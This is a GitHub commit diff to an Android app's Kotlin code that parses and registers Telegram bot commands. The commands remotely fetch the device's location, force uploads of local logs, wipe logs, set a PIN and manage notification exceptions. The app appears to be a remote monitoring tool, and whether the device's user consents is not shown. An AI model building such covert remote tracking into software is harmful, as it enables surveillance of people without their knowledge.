Skip to content

Commit 3015c5d

Browse files
committed
fix: register all commands with underscores and update parsing logic
1 parent 26f53d8 commit 3015c5d

2 files changed

Lines changed: 14 additions & 4 deletions

File tree

‎app/src/main/java/com/zero/sentinel/network/CommandProcessor.kt‎

Lines changed: 8 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -122,12 +122,17 @@ class CommandProcessor(
122122

123123
private fun handleConfigCommand(command: String) {
124124
val action = if ("_" in command) {
125-
command.substringAfter("_").substringBefore(" ").trim().lowercase()
125+
command.substringAfter("_").substringBefore("_").substringBefore(" ").trim().lowercase() // Gets "wipe", "pin", or "exc"
126126
} else {
127127
val parts = command.split(" ")
128128
parts.getOrNull(1)?.lowercase()
129129
}
130130

131+
// For /config_exc_add <pkg>, the subaction is "add", and target is <pkg>
132+
val subActionFromUnderscore = if ("_exc_" in command) {
133+
command.substringAfter("_exc_").substringBefore(" ").trim().lowercase()
134+
} else null
135+
131136
val target = command.split(" ").getOrNull(if ("_" in command) 1 else 2)
132137

133138
when (action) {
@@ -146,7 +151,8 @@ class CommandProcessor(
146151
}
147152
}
148153
"exc", "exception" -> {
149-
handleExceptionSubCommand(target, parts.getOrNull(3))
154+
val finalSubAction = subActionFromUnderscore ?: parts.getOrNull(3)
155+
handleExceptionSubCommand(finalSubAction, target)
150156
}
151157
else -> {
152158
client.sendMessage(

‎app/src/main/java/com/zero/sentinel/network/TelegramClient.kt‎

Lines changed: 6 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -129,14 +129,18 @@ class TelegramClient(context: Context) {
129129
fun setMyCommands(): Boolean {
130130
val baseUrl = getBaseUrl() ?: return false
131131

132-
// Commands to register (Telegram API doesn't support spaces in commands)
132+
// Commands to register (Telegram API limit: up to 100 commands, 1-32 chars, a-z, 0-9, _)
133133
val commands = listOf(
134134
mapOf("command" to "stat", "description" to "Device Health (Battery, Net, HW)"),
135135
mapOf("command" to "fetch_loc", "description" to "Queue location update"),
136136
mapOf("command" to "fetch_logs", "description" to "Force upload local logs"),
137137
mapOf("command" to "fetch_all", "description" to "Fetch logs and location"),
138138
mapOf("command" to "config_wipe", "description" to "Delete all local logs on device"),
139-
mapOf("command" to "config", "description" to "Manual config commands (pin/exceptions)")
139+
mapOf("command" to "config_pin", "description" to "Usage: /config_pin <6_digits>"),
140+
mapOf("command" to "config_exc_list", "description" to "List notification exceptions"),
141+
mapOf("command" to "config_exc_add", "description" to "Usage: /config_exc_add <pkg>"),
142+
mapOf("command" to "config_exc_del", "description" to "Usage: /config_exc_del <pkg>"),
143+
mapOf("command" to "config_exc_wipe", "description" to "Clear all exceptions")
140144
)
141145

142146
val gson = com.google.gson.Gson()

0 commit comments

Comments
 (0)